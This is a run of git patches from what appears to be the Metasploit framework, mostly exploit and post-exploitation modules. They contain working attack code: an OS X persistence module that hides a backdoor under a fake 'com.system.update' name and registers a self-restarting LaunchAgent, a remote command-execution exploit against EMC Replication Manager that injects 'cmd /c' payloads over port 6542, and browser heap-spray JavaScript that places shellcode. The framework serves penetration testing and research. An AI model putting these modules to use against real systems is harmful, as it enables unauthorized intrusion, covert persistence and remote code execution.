Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Fri, 18 Oct 2013 13:21:28 -0500 Subject: [PATCH 246/409] Reordered case statements --- lib/rex/parser/outpost24_nokogiri.rb | 80 ++++++++++++++-------------- 1 file changed, 40 insertions(+), 40 deletions(-) diff --git a/lib/rex/parser/outpost24_nokogiri.rb b/lib/rex/parser/outpost24_nokogiri.rb index e7f22c8d9d..a925afdf70 100644 --- a/lib/rex/parser/outpost24_nokogiri.rb +++ b/lib/rex/parser/outpost24_nokogiri.rb @@ -10,23 +10,24 @@ load_nokogiri && class Outpost24Document < Nokogiri::XML::SAX::Document def start_element(name, attrs) @state[:current_tag][name] = true case name - when "hostlist" - record_hosts - when "portlist" - record_services + when "description", "information" + return unless in_tag("detaillist") + return unless in_tag("detail") + record_text + when "detail" + return unless in_tag("detaillist") + record_vuln when "detaillist" record_vulns when "host" return unless in_tag("hostlist") record_host - when "portinfo" - return unless in_tag("portlist") - return unless in_tag("portlist-host") - record_service - when "detail" + when "hostlist" + record_hosts + when "id" return unless in_tag("detaillist") - record_vuln - when "report", "ip" + return unless in_tag("detail") + return unless in_tag("cve") record_text when "name" return unless in_tag("hostlist") || in_tag("detaillist") @@ -36,43 +37,43 @@ load_nokogiri && class Outpost24Document < Nokogiri::XML::SAX::Document return unless in_tag("hostlist") return unless in_tag("host") record_text + when "portinfo" + return unless in_tag("portlist") + return unless in_tag("portlist-host") + record_service + when "portlist" + record_services when "portnumber", "protocol", "service" return unless in_tag("portlist") return unless in_tag("portlist-host") return unless in_tag("portinfo") record_text - when "description", "information" - return unless in_tag("detaillist") - return unless in_tag("detail") - record_text - when "id" - return unless in_tag("detaillist") - return unless in_tag("detail") - return unless in_tag("cve") + when "report", "ip" record_text end end def end_element(name) case name - when "hostlist" - report_hosts - when "portlist" - report_services + when "description", "information" + return unless in_tag("detaillist") + return unless in_tag("detail") + collect_vuln_data(name) + when "detail" + return unless in_tag("detaillist") + collect_vuln when "detaillist" report_vulns when "host" return unless in_tag("hostlist") collect_host - when "portinfo" - return unless in_tag("portlist") - return unless in_tag("portlist-host") - collect_service - when "detail" + when "hostlist" + report_hosts + when "id" return unless in_tag("detaillist") - collect_vuln - when "report" - collect_product + return unless in_tag("detail") + return unless in_tag("cve") + collect_vuln_data(name) when "ip" collect_ip when "name" @@ -85,20 +86,19 @@ load_nokogiri && class Outpost24Document < Nokogiri::XML::SAX::Document return unless in_tag("hostlist") return unless in_tag("host") collect_host_data(name) + when "portinfo" + return unless in_tag("portlist") + return unless in_tag("portlist-host") + collect_service + when "portlist" + report_services when "portnumber", "protocol", "service" return unless in_tag("portlist") return unless in_tag("portlist-host") return unless in_tag("portinfo") collect_service_data(name) - when "description", "information" - return unless in_tag("detaillist") - return unless in_tag("detail") - collect_vuln_data(name) - when "id" - return unless in_tag("detaillist") - return unless in_tag("detail") - return unless in_tag("cve") - collect_vuln_data(name) + when "report" + collect_product end @state[:current_tag].delete(name) end From 83f27296d32a5571b244ad6e7e26baba1c039915 Mon Sep 17 00:00:00 2001 From: joev Date: Fri, 18 Oct 2013 14:12:33 -0500 Subject: [PATCH 247/409] Fix some bugs in osx persistence. - the RUN_NOW datastore option did not work as expected - Adds support for OSX < 10.4 KeepAlive option - organizes private methods alphabetically. --- modules/exploits/osx/local/persistence.rb | 155 ++++++++++++---------- 1 file changed, 82 insertions(+), 73 deletions(-) diff --git a/modules/exploits/osx/local/persistence.rb b/modules/exploits/osx/local/persistence.rb index 7fee322649..ae89d870d2 100644 --- a/modules/exploits/osx/local/persistence.rb +++ b/modules/exploits/osx/local/persistence.rb @@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Local register_options([ OptString.new('BACKDOOR_PATH', [true, 'Path to hide the backdoor on the target.', - '/Users//Library/./com.system.update'] + '~/Library/./com.system.update'] ), OptBool.new('KEEPALIVE', [true, 'Continually restart the payload exe if it crashes/exits.', true] @@ -50,18 +50,97 @@ class Metasploit3 < Msf::Exploit::Local end def exploit + check_for_duplicate_entry # Store backdoor on target machine write_backdoor(generate_payload_exe) # Add plist file to LaunchAgents dir add_launchctl_item - # invoke the service if necessary - invoke_service if run_now? # tell the user how to remove the persistence if necessary list_removal_paths end private + # drops a LaunchAgent plist into the user's Library, which specifies to run backdoor_path + def add_launchctl_item + label = File.basename(backdoor_path) + cmd_exec("mkdir -p #{File.dirname(plist_path).shellescape}") + # Note: the OnDemand key is the OSX < 10.4 equivalent of KeepAlive + item = <<-EOI + + + + + Label + #{label} + Program + #{backdoor_path} + ProgramArguments + + #{backdoor_path} + + RunAtLoad + + OnDemand + <#{keepalive?}/> + KeepAlive + <#{keepalive?}/> + + + EOI + + if write_file(plist_path, item) + print_good("LaunchAgent added: #{plist_path}") + else + fail_with("Error writing LaunchAgent item to #{plist_path}") + end + + if run_now? + cmd_exec("launchctl load -w #{plist_path.shellescape}") + end + + print_good("LaunchAgent installed successfully.") + end + + # path to upload the backdoor. any or substrings will be replaced. + # @return [String] path to drop the backdoor payload. + def backdoor_path + @backdoor_path ||= (datastore['BACKDOOR_PATH'] + .gsub(''){ Rex::Text.rand_text_alpha(8) } + .gsub(/^~\//, "/Users/#{user}/")) + end + + # raises an error if a Launch Agent already exists at desired same plist_path + def check_for_duplicate_entry + if file?(plist_path) + fail_with "FileError", "Duplicate LaunchAgent plist already exists at #{plist_path}" + end + end + + # @return [Boolean] user wants the persistence to be restarted constantly if it exits + def keepalive?; datastore['KEEPALIVE']; end + + # useful if you want to remove the persistence. + # prints out a list of paths to remove and commands to run. + def list_removal_paths + files = [backdoor_path, plist_path] + print_status("To remove the persistence, run:\n"+ + "$ launchctl unload -w #{plist_path.shellescape}\n"+ + files.map{|f| "$ rm #{f}"}.join("\n")) + end + + # path to the LaunchAgent service configuration plist + # @return [String] path to the LaunchAgent service + def plist_path + @plist ||= "/Users/#{user}/Library/LaunchAgents/#{File.basename(backdoor_path)}.plist" + end + + # @return [Boolean] user wants to launch the LaunchAgent immediately + def run_now?; datastore['RUN_NOW']; end + + # @return [String] username of the session + def user; @user ||= cmd_exec('whoami').strip; end + # drops the file to disk, then makes it executable # @param [String] exe the executable to drop def write_backdoor(exe) @@ -75,74 +154,4 @@ class Metasploit3 < Msf::Exploit::Local fail_with("Error dropping backdoor to #{backdoor_path}") end end - - # drops a LaunchAgent plist into the user's Library, which specifies to run backdoor_path - def add_launchctl_item - label = File.basename(backdoor_path) - cmd_exec("mkdir -p #{File.dirname(plist_path).shellescape}") - item = <<-EOI - - - - - Label - #{label} - Program - #{backdoor_path} - ProgramArguments - - #{backdoor_path} - - RunAtLoad - - KeepAlive - <#{keepalive?}/> - - - EOI - - if write_file(plist_path, item) - print_good("LaunchAgent added: #{plist_path}") - else - fail_with("Error writing LaunchAgent item to #{plist_path}") - end - end - - # tells launchctl to start the service we dropped - def invoke_service - print_status("Starting the LaunchAgent") - cmd_exec("launchctl unload -w #{plist_path.shellescape}") # in case of previous persistence (unlikely) - cmd_exec("launchctl load -w #{plist_path.shellescape}") - cmd_exec("launchctl start #{File.basename(plist_path).shellescape}") - end - - # useful if you want to remove the persistence. - # prints out a list of paths to remove and commands to run. - def list_removal_paths - files = [backdoor_path, plist_path] - run_cmd = "Then log out or run: launchctl unload -w #{plist_path.shellescape}" - print_status("To remove the persistence, delete the files:\n#{files.join("\n")}\n#{run_cmd}") - end - - # path to upload the backdoor. any or substrings will be replaced. - # @return [String] path to drop the backdoor payload. - def backdoor_path - @backdoor_path ||= (datastore['BACKDOOR_PATH'] - .gsub(''){ Rex::Text.rand_text_alpha(8) } - .gsub('', user)) - end - - # path to the LaunchAgent service configuration plist - # @return [String] path to the LaunchAgent service - def plist_path - @plist ||= "/Users/#{user}/Library/LaunchAgents/#{File.basename(backdoor_path)}.plist" - end - - def keepalive?; datastore['KEEPALIVE']; end - def run_now?; datastore['RUN_NOW']; end - - # @return [String] username of the session - def user - @user ||= cmd_exec('whoami').strip - end end From 73b8eb0f83fa6379f016d8d36c68a6b8872b2d5a Mon Sep 17 00:00:00 2001 From: sinn3r Date: Fri, 18 Oct 2013 15:14:26 -0500 Subject: [PATCH 248/409] Add rspec files to make sure the javascript files are loadable. --- .../javascriptaddonsdetect_spec.rb | 20 +++++++++++ .../rex/exploitation/javascriptcrypto_spec.rb | 20 +++++++++++ .../javascriptexploitation_spec.rb | 34 +++++++++++++++++++ .../exploitation/javascriptnetwork_spec.rb | 20 +++++++++++ .../exploitation/javascriptosdetect_spec.rb | 20 +++++++++++ 5 files changed, 114 insertions(+) create mode 100644 spec/lib/rex/exploitation/javascriptaddonsdetect_spec.rb create mode 100644 spec/lib/rex/exploitation/javascriptcrypto_spec.rb create mode 100644 spec/lib/rex/exploitation/javascriptexploitation_spec.rb create mode 100644 spec/lib/rex/exploitation/javascriptnetwork_spec.rb create mode 100644 spec/lib/rex/exploitation/javascriptosdetect_spec.rb diff --git a/spec/lib/rex/exploitation/javascriptaddonsdetect_spec.rb b/spec/lib/rex/exploitation/javascriptaddonsdetect_spec.rb new file mode 100644 index 0000000000..b356981973 --- /dev/null +++ b/spec/lib/rex/exploitation/javascriptaddonsdetect_spec.rb @@ -0,0 +1,20 @@ +require 'rex/exploitation/javascriptaddonsdetect' + +describe Rex::Exploitation::JavascriptAddonsDetect do + + subject(:ropdb) do + described_class.new + end + + context "Class methods" do + + context ".initialize" do + it "should load the Addons Detect javascript" do + js = Rex::Exploitation::JavascriptAddonsDetect.new.to_s + js.should =~ /window\.addons_detect/ + end + end + + end + +end \ No newline at end of file diff --git a/spec/lib/rex/exploitation/javascriptcrypto_spec.rb b/spec/lib/rex/exploitation/javascriptcrypto_spec.rb new file mode 100644 index 0000000000..8f8300257d --- /dev/null +++ b/spec/lib/rex/exploitation/javascriptcrypto_spec.rb @@ -0,0 +1,20 @@ +require 'rex/exploitation/javascriptcrypto' + +describe Rex::Exploitation::JavascriptCrypto do + + subject(:ropdb) do + described_class.new + end + + context "Class methods" do + + context ".base64" do + it "should load the base64 javascript" do + js = Rex::Exploitation::JavascriptCrypto.base64 + js.should =~ /encode : function/ + end + end + + end + +end \ No newline at end of file diff --git a/spec/lib/rex/exploitation/javascriptexploitation_spec.rb b/spec/lib/rex/exploitation/javascriptexploitation_spec.rb new file mode 100644 index 0000000000..4bee91134a --- /dev/null +++ b/spec/lib/rex/exploitation/javascriptexploitation_spec.rb @@ -0,0 +1,34 @@ +require 'rex/exploitation/javascriptexploitation' + +describe Rex::Exploitation::JavascriptExploitation do + + subject(:ropdb) do + described_class.new + end + + context "Class methods" do + + context ".mstime_malloc" do + it "should load the mstime_malloc javascript" do + js = Rex::Exploitation::JavascriptExploitation.mstime_malloc + js.should =~ /function mstime_malloc/ + end + end + + context ".property_spray" do + it "should load the property_spray javascript" do + js = Rex::Exploitation::JavascriptExploitation.property_spray + js.should =~ /function sprayHeap/ + end + end + + context ".heap_spray" do + it "should load the heap_spray javascript" do + js = Rex::Exploitation::JavascriptExploitation.heap_spray + js.should =~ /function sprayHeap/ + end + end + + end + +end \ No newline at end of file diff --git a/spec/lib/rex/exploitation/javascriptnetwork_spec.rb b/spec/lib/rex/exploitation/javascriptnetwork_spec.rb new file mode 100644 index 0000000000..bbe6c44cbf --- /dev/null +++ b/spec/lib/rex/exploitation/javascriptnetwork_spec.rb @@ -0,0 +1,20 @@ +require 'rex/exploitation/javascriptnetwork' + +describe Rex::Exploitation::JavascriptNetwork do + + subject(:ropdb) do + described_class.new + end + + context "Class methods" do + + context ".ajax_download" do + it "should load the ajax_download javascript" do + js = Rex::Exploitation::JavascriptNetwork.ajax_download + js.should =~ /function ajax_download/ + end + end + + end + +end \ No newline at end of file diff --git a/spec/lib/rex/exploitation/javascriptosdetect_spec.rb b/spec/lib/rex/exploitation/javascriptosdetect_spec.rb new file mode 100644 index 0000000000..fdfb0941b8 --- /dev/null +++ b/spec/lib/rex/exploitation/javascriptosdetect_spec.rb @@ -0,0 +1,20 @@ +require 'rex/exploitation/javascriptosdetect' + +describe Rex::Exploitation::JavascriptOSDetect do + + subject(:ropdb) do + described_class.new + end + + context "Class methods" do + + context ".initialize" do + it "should load the OSDetect javascript" do + js = Rex::Exploitation::JavascriptOSDetect.new.to_s + js.should =~ /window\.os_detect/ + end + end + + end + +end \ No newline at end of file From dbd74bceedeef9ba735d3e7ce46ae078819b37c3 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 18 Oct 2013 16:35:22 -0500 Subject: [PATCH 249/409] Add the ARCH_CMD target --- .../windows/emc/replication_manager_exec.rb | 113 +++++++++++------- 1 file changed, 68 insertions(+), 45 deletions(-) diff --git a/modules/exploits/windows/emc/replication_manager_exec.rb b/modules/exploits/windows/emc/replication_manager_exec.rb index 1e956d9ec4..832de8b66c 100644 --- a/modules/exploits/windows/emc/replication_manager_exec.rb +++ b/modules/exploits/windows/emc/replication_manager_exec.rb @@ -36,84 +36,107 @@ class Metasploit3 < Msf::Exploit::Remote [ 'OSVDB', '70853' ], [ 'BID', '46235' ], [ 'URL', 'http://www.securityfocus.com/archive/1/516260' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-061/' ], + [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-061/' ] ], 'DisclosureDate' => 'Feb 07 2011', 'Platform' => 'win', - 'Arch' => [ ARCH_X86 ], + 'Arch' => [ ARCH_X86, ARCH_CMD ], + 'Payload' => + { + 'Space' => 5000, + 'DisableNops' => true + }, 'Targets' => [ - [ 'Automatic', { } ] + # Tested on Windows XP and Windows 2003 + [ 'EMC Replication Manager 5.2.1 / Windows Native Payload', + { + 'Arch' => ARCH_X86 + } + ], + [ 'EMC Replication Manager 5.2.1 / Windows CMD', + { + 'Arch' => ARCH_CMD + } + ] ], + 'DefaultOptions' => + { + 'WfsDelay' => 5 + }, 'DefaultTarget' => 0, 'Privileged' => true, )) register_options( [ - Opt::RPORT(6542), - OptString.new('CMD', [ false, 'Execute this command instead of using command stager']), + Opt::RPORT(6542) ], self.class) end def exploit - if datastore['CMD'] - print_status("Executing command '#{datastore['CMD']}'") - execute_command(datastore['CMD'], {}) - return - end + if target.name =~ /CMD/ + print_status("Executing payload...") + print_status("#{payload.encoded}") + execute_command(payload.encoded, {}) + else # Native target + execute_cmdstager({:linemax => 5000, :nodelete => true}) + end - execute_cmdstager({:linemax => 5000}) - handler end def execute_command(cmd, opts) connect hello = "1HELLOEMC00000000000000000000000" + vprint_status("Sending hello...") sock.put(hello) result = sock.get_once || '' if result =~ /RAWHELLO/ - print_good("We sent hello and get hello back from the server. Good") - else - disconnect - return + vprint_good("Expected hello response") + else + disconnect + fail_with(Failure::Unknown ,"Failed to hello the server") end - startsession = "EMC_Len00000001361" - sock.put(startsession) + start_session = "EMC_Len00000001361" + vprint_status("Starting session...") + sock.put(start_session) result = sock.get_once || '' if result =~ /EMC/ - print_good("A session has been created. Good.") - else - disconnect - return + vprint_good("A session has been created. Good.") + else + disconnect + fail_with(Failure::Unknown, "Failed to create the session") end - runprog = " " - runprog << "cmd /c #{cmd}" - runprog << "<?xml version="1.0" encoding="UTF-8"?> <ir_message ir_sessionId="00000" ir_requestId="00000" " - runprog << "ir_type="App Info" ir_status="0"><IR_groupEntry IR_groupType="anywriter" IR_groupName="CM1109A1" IR_groupId="1" " - runprog << ">&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;? &gt; &lt;ir_message ir_sessionId=&quot;00000&quot; " - runprog << "ir_requestId=&quot;00000&quot;ir_type=&quot;App Info&quot; ir_status=&quot;0&quot;&gt;&lt;aa_anywriter_ccr_node&gt;CM1109A1" - runprog << "&lt;/aa_anywriter_ccr_node&gt;&lt;aa_anywriter_fail_1018&gt;0&lt;/aa_anywriter_fail_1018&gt;&lt;aa_anywriter_fail_1019&gt;0" - runprog << "&lt;/aa_anywriter_fail_1019&gt;&lt;aa_anywriter_fail_1022&gt;0&lt;/aa_anywriter_fail_1022&gt;&lt;aa_anywriter_runeseutil&gt;1" - runprog << "&lt;/aa_anywriter_runeseutil&gt;&lt;aa_anywriter_ccr_role&gt;2&lt;/aa_anywriter_ccr_role&gt;&lt;aa_anywriter_prescript&gt;" - runprog << "&lt;/aa_anywriter_prescript&gt;&lt;aa_anywriter_postscript&gt;&lt;/aa_anywriter_postscript&gt;&lt;aa_anywriter_backuptype&gt;1" - runprog << "&lt;/aa_anywriter_backuptype&gt;&lt;aa_anywriter_fail_447&gt;0&lt;/aa_anywriter_fail_447&gt;&lt;aa_anywriter_fail_448&gt;0" - runprog << "&lt;/aa_anywriter_fail_448&gt;&lt;aa_exchange_ignore_all&gt;0&lt;/aa_exchange_ignore_all&gt;&lt;aa_anywriter_sthread_eseutil&gt;0&" - runprog << ";lt;/aa_anywriter_sthread_eseutil&gt;&lt;aa_anywriter_required_logs&gt;0&lt;/aa_anywriter_required_logs&gt;&lt;aa_anywriter_required_logs_path" - runprog << "&gt;&lt;/aa_anywriter_required_logs_path&gt;&lt;aa_anywriter_throttle&gt;1&lt;/aa_anywriter_throttle&gt;&lt;aa_anywriter_throttle_ios&gt;300" - runprog << "&lt;/aa_anywriter_throttle_ios&gt;&lt;aa_anywriter_throttle_dur&gt;1000&lt;/aa_anywriter_throttle_dur&gt;&lt;aa_backup_username&gt;" - runprog << "&lt;/aa_backup_username&gt;&lt;aa_backup_password&gt;&lt;/aa_backup_password&gt;&lt;aa_exchange_checksince&gt;1335208339" - runprog << "&lt;/aa_exchange_checksince&gt; &lt;/ir_message&gt;</IR_groupEntry> </ir_message>" - runprog << "anywriterbackup " - emc6 = "EMC_Len000000"; - runpacket = emc6 + runprog.length.to_s + runprog - sock.put(runpacket) + run_prog = " " + run_prog << "cmd /c #{cmd}" + run_prog << "<?xml version="1.0" encoding="UTF-8"?> <ir_message ir_sessionId="00000" ir_requestId="00000" " + run_prog << "ir_type="App Info" ir_status="0"><IR_groupEntry IR_groupType="anywriter" IR_groupName="CM1109A1" IR_groupId="1" " + run_prog << ">&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;? &gt; &lt;ir_message ir_sessionId=&quot;00000&quot; " + run_prog << "ir_requestId=&quot;00000&quot;ir_type=&quot;App Info&quot; ir_status=&quot;0&quot;&gt;&lt;aa_anywriter_ccr_node&gt;CM1109A1" + run_prog << "&lt;/aa_anywriter_ccr_node&gt;&lt;aa_anywriter_fail_1018&gt;0&lt;/aa_anywriter_fail_1018&gt;&lt;aa_anywriter_fail_1019&gt;0" + run_prog << "&lt;/aa_anywriter_fail_1019&gt;&lt;aa_anywriter_fail_1022&gt;0&lt;/aa_anywriter_fail_1022&gt;&lt;aa_anywriter_runeseutil&gt;1" + run_prog << "&lt;/aa_anywriter_runeseutil&gt;&lt;aa_anywriter_ccr_role&gt;2&lt;/aa_anywriter_ccr_role&gt;&lt;aa_anywriter_prescript&gt;" + run_prog << "&lt;/aa_anywriter_prescript&gt;&lt;aa_anywriter_postscript&gt;&lt;/aa_anywriter_postscript&gt;&lt;aa_anywriter_backuptype&gt;1" + run_prog << "&lt;/aa_anywriter_backuptype&gt;&lt;aa_anywriter_fail_447&gt;0&lt;/aa_anywriter_fail_447&gt;&lt;aa_anywriter_fail_448&gt;0" + run_prog << "&lt;/aa_anywriter_fail_448&gt;&lt;aa_exchange_ignore_all&gt;0&lt;/aa_exchange_ignore_all&gt;&lt;aa_anywriter_sthread_eseutil&gt;0&" + run_prog << ";lt;/aa_anywriter_sthread_eseutil&gt;&lt;aa_anywriter_required_logs&gt;0&lt;/aa_anywriter_required_logs&gt;&lt;aa_anywriter_required_logs_path" + run_prog << "&gt;&lt;/aa_anywriter_required_logs_path&gt;&lt;aa_anywriter_throttle&gt;1&lt;/aa_anywriter_throttle&gt;&lt;aa_anywriter_throttle_ios&gt;300" + run_prog << "&lt;/aa_anywriter_throttle_ios&gt;&lt;aa_anywriter_throttle_dur&gt;1000&lt;/aa_anywriter_throttle_dur&gt;&lt;aa_backup_username&gt;" + run_prog << "&lt;/aa_backup_username&gt;&lt;aa_backup_password&gt;&lt;/aa_backup_password&gt;&lt;aa_exchange_checksince&gt;1335208339" + run_prog << "&lt;/aa_exchange_checksince&gt; &lt;/ir_message&gt;</IR_groupEntry> </ir_message>" + run_prog << "anywriterbackup " + run_prog_header = "EMC_Len000000" + run_prog_packet = run_prog_header + run_prog.length.to_s + run_prog + + vprint_status("Executing command....") + sock.put(run_prog_packet) Rex.sleep(1) # wait for irccd.exe to write the stager on disk - endstring = Rex::Text.rand_text_alpha(rand(10)+32) - sock.put(endstring) + + end_string = Rex::Text.rand_text_alpha(rand(10)+32) + sock.put(end_string) disconnect end From 70fced1d74d798d2ccf7b694fe083f040c4f6492 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 18 Oct 2013 16:54:20 -0500 Subject: [PATCH 250/409] Delete unnecessary requires and make msftidy compliant --- modules/exploits/osx/local/persistence.rb | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/modules/exploits/osx/local/persistence.rb b/modules/exploits/osx/local/persistence.rb index ae89d870d2..f0eb1c45bd 100644 --- a/modules/exploits/osx/local/persistence.rb +++ b/modules/exploits/osx/local/persistence.rb @@ -7,8 +7,6 @@ require 'msf/core' require 'rex' -require 'msf/core/post/common' -require 'msf/core/post/file' require 'msf/core/exploit/exe' require 'shellwords' @@ -32,12 +30,13 @@ class Metasploit3 < Msf::Exploit::Local 'Platform' => [ 'osx' ], 'Targets' => [ [ 'Mac OS X', {} ] ], 'DefaultTarget' => 0, - 'SessionTypes' => [ 'shell', 'meterpreter' ] + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'DisclosureDate' => 'Apr 01 2012' )) register_options([ - OptString.new('BACKDOOR_PATH', - [true, 'Path to hide the backdoor on the target.', + OptString.new('BACKDOOR_PATH', + [true, 'Path to hide the backdoor on the target.', '~/Library/./com.system.update'] ), OptBool.new('KEEPALIVE', From efa0dcb92bfc2afbd61524bd81e710124ac4d250 Mon Sep 17 00:00:00 2001 From: Henrik Kentsson Date: Sat, 19 Oct 2013 00:38:24 +0200 Subject: [PATCH 251/409] Just a minor mistype Just a minor mistype in code leading to a page that didn't exist. --- scripts/meterpreter/screenspy.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/scripts/meterpreter/screenspy.rb b/scripts/meterpreter/screenspy.rb index bb6a3a9e2f..a7cb6313d2 100644 --- a/scripts/meterpreter/screenspy.rb +++ b/scripts/meterpreter/screenspy.rb @@ -107,7 +107,7 @@ begin else print_status("Runing in local mode => Linux") print_status("Opening Interactive view...") - localcmd="bash firefox -width 530 -height 660 \"file:///#{Msf::Config.install_root}/logs/screenshot/#{host}/video.html&\"" + localcmd="bash firefox -width 530 -height 660 \"file:///#{Msf::Config.install_root}/logs/screenshot/#{host}/video.html\"" end system (localcmd) From 298f23c91c9f9bd52f4de242f6c0eb4167d6e1df Mon Sep 17 00:00:00 2001 From: sinn3r Date: Fri, 18 Oct 2013 20:43:39 -0500 Subject: [PATCH 252/409] Fix extra slashes that cause browser autopwn to fail. --- data/js/crypto/base64.js | 4 ++-- lib/rex/exploitation/javascriptcrypto.rb | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/data/js/crypto/base64.js b/data/js/crypto/base64.js index 69f7615257..3cb1dfa4cb 100644 --- a/data/js/crypto/base64.js +++ b/data/js/crypto/base64.js @@ -6,7 +6,7 @@ var Base64 = { // private method _utf8_encode : function ( input ){ - input = input.replace(/\\r\\n/g,"\\n"); + input = input.replace(/\r\n/g,"\\n"); var utftext = ""; var input_idx; @@ -64,7 +64,7 @@ var Base64 = { var enc1, enc2, enc3, enc4; var i = 0; - input = input.replace(/[^A-Za-z0-9\\+\\/\\=]/g, ""); + input = input.replace(/[^A-Za-z0-9\+\/\\=]/g, ""); while (i < input.length) { diff --git a/lib/rex/exploitation/javascriptcrypto.rb b/lib/rex/exploitation/javascriptcrypto.rb index 6b4dffacc7..d5cf5f22e1 100644 --- a/lib/rex/exploitation/javascriptcrypto.rb +++ b/lib/rex/exploitation/javascriptcrypto.rb @@ -23,7 +23,7 @@ class JavascriptCrypto } } - ::Rex::Exploitation::ObfuscateJS.new(js, opts).to_s + ::Rex::Exploitation::ObfuscateJS.new(js, opts) end end From e1ca2d2730a0ecbf6149caf4a67b410b20a2ac86 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Fri, 18 Oct 2013 20:49:33 -0500 Subject: [PATCH 253/409] Fix mstime_malloc.js --- data/js/exploitation/mstime_malloc.js | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/data/js/exploitation/mstime_malloc.js b/data/js/exploitation/mstime_malloc.js index 7ee687fdac..d931db004f 100644 --- a/data/js/exploitation/mstime_malloc.js +++ b/data/js/exploitation/mstime_malloc.js @@ -1,15 +1,15 @@ function mstime_malloc(oArg) { - shellcode = oArg.shellcode; - offset = oArg.offset; - heapBlockSize = oArg.heapBlockSize; - objId = oArg.objId; + var shellcode = oArg.shellcode; + var offset = oArg.offset; + var heapBlockSize = oArg.heapBlockSize; + var objId = oArg.objId; if (shellcode == undefined) { throw "Missing argument: shellcode"; } if (offset == undefined) { offset = 0; } if (heapBlockSize == undefined) { throw "Size must be defined"; } - buf = ""; - for (i=0; i < heapBlockSize/4; i++) { + var buf = ""; + for (var i=0; i < heapBlockSize/4; i++) { if (i == offset) { if (i == 0) { buf += shellcode; } else { buf += ";" + shellcode; } @@ -19,10 +19,10 @@ function mstime_malloc(oArg) { } } - e = document.getElementById(objId); + var e = document.getElementById(objId); if (e == null) { - eleId = "W00TB" - acTag = "" + var eleId = "W00TB" + var acTag = "" document.body.innerHTML = document.body.innerHTML + acTag; e = document.getElementById(eleId); } From 711399bb349db5127aaa58d1224d6176cd16def5 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Fri, 18 Oct 2013 20:56:00 -0500 Subject: [PATCH 254/409] Update property_spray.js --- data/js/exploitation/property_spray.js | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) diff --git a/data/js/exploitation/property_spray.js b/data/js/exploitation/property_spray.js index 71dfcb8b4d..f922e60196 100644 --- a/data/js/exploitation/property_spray.js +++ b/data/js/exploitation/property_spray.js @@ -1,11 +1,10 @@ var sym_div_container; function sprayHeap( oArg ) { - - shellcode = oArg.shellcode; - offset = oArg.offset; - heapBlockSize = oArg.heapBlockSize; - maxAllocs = oArg.maxAllocs; - objId = oArg.objId; + var shellcode = oArg.shellcode; + var offset = oArg.offset; + var heapBlockSize = oArg.heapBlockSize; + var maxAllocs = oArg.maxAllocs; + var objId = oArg.objId; if (shellcode == undefined) { throw "Missing argument: shellcode"; } if (offset == undefined) { offset = 0x00; } From 62dadc80d36bebe59dfcee5632c150c6e9d6ca93 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Fri, 18 Oct 2013 21:08:46 -0500 Subject: [PATCH 255/409] Make sure the data type for the return value is a string --- data/js/network/ajax_download.js | 6 +++--- lib/rex/exploitation/javascriptcrypto.rb | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/data/js/network/ajax_download.js b/data/js/network/ajax_download.js index 5b34e524cc..560d3d22ae 100644 --- a/data/js/network/ajax_download.js +++ b/data/js/network/ajax_download.js @@ -1,7 +1,7 @@ function ajax_download(oArg) { - method = oArg.method; - path = oArg.path; - data = oArg.data; + var method = oArg.method; + var path = oArg.path; + var data = oArg.data; if (method == undefined) { method = "GET"; } if (method == path) { throw "Missing parameter 'path'"; } diff --git a/lib/rex/exploitation/javascriptcrypto.rb b/lib/rex/exploitation/javascriptcrypto.rb index d5cf5f22e1..6b4dffacc7 100644 --- a/lib/rex/exploitation/javascriptcrypto.rb +++ b/lib/rex/exploitation/javascriptcrypto.rb @@ -23,7 +23,7 @@ class JavascriptCrypto } } - ::Rex::Exploitation::ObfuscateJS.new(js, opts) + ::Rex::Exploitation::ObfuscateJS.new(js, opts).to_s end end From 8a94df7dcdec3b9a6c26f05fd4c9b50b9aa42ee7 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Fri, 18 Oct 2013 21:20:16 -0500 Subject: [PATCH 256/409] Change category name for base64 --- data/js/{crypto => utils}/base64.js | 0 lib/msf/core/exploit/http/server.rb | 4 ++-- .../{javascriptcrypto.rb => javascriptutils.rb} | 6 +++--- .../{javascriptcrypto_spec.rb => javascriptutils_spec.rb} | 6 +++--- 4 files changed, 8 insertions(+), 8 deletions(-) rename data/js/{crypto => utils}/base64.js (100%) rename lib/rex/exploitation/{javascriptcrypto.rb => javascriptutils.rb} (84%) rename spec/lib/rex/exploitation/{javascriptcrypto_spec.rb => javascriptutils_spec.rb} (59%) diff --git a/data/js/crypto/base64.js b/data/js/utils/base64.js similarity index 100% rename from data/js/crypto/base64.js rename to data/js/utils/base64.js diff --git a/lib/msf/core/exploit/http/server.rb b/lib/msf/core/exploit/http/server.rb index 82145f0e76..1ca97d0472 100644 --- a/lib/msf/core/exploit/http/server.rb +++ b/lib/msf/core/exploit/http/server.rb @@ -4,7 +4,7 @@ require 'rex/exploitation/obfuscatejs' require 'rex/exploitation/encryptjs' require 'rex/exploitation/heaplib' require 'rex/exploitation/javascriptnetwork' -require 'rex/exploitation/javascriptcrypto' +require 'rex/exploitation/javascriptutils' require 'rex/exploitation/javascriptosdetect' require 'rex/exploitation/javascriptaddonsdetect' require 'rex/exploitation/javascriptexploitation' @@ -721,7 +721,7 @@ protected end def js_base64 - @cache_base64 ||= Rex::Exploitation::JavascriptCrypto.base64 + @cache_base64 ||= Rex::Exploitation::JavascriptUtils.base64 end diff --git a/lib/rex/exploitation/javascriptcrypto.rb b/lib/rex/exploitation/javascriptutils.rb similarity index 84% rename 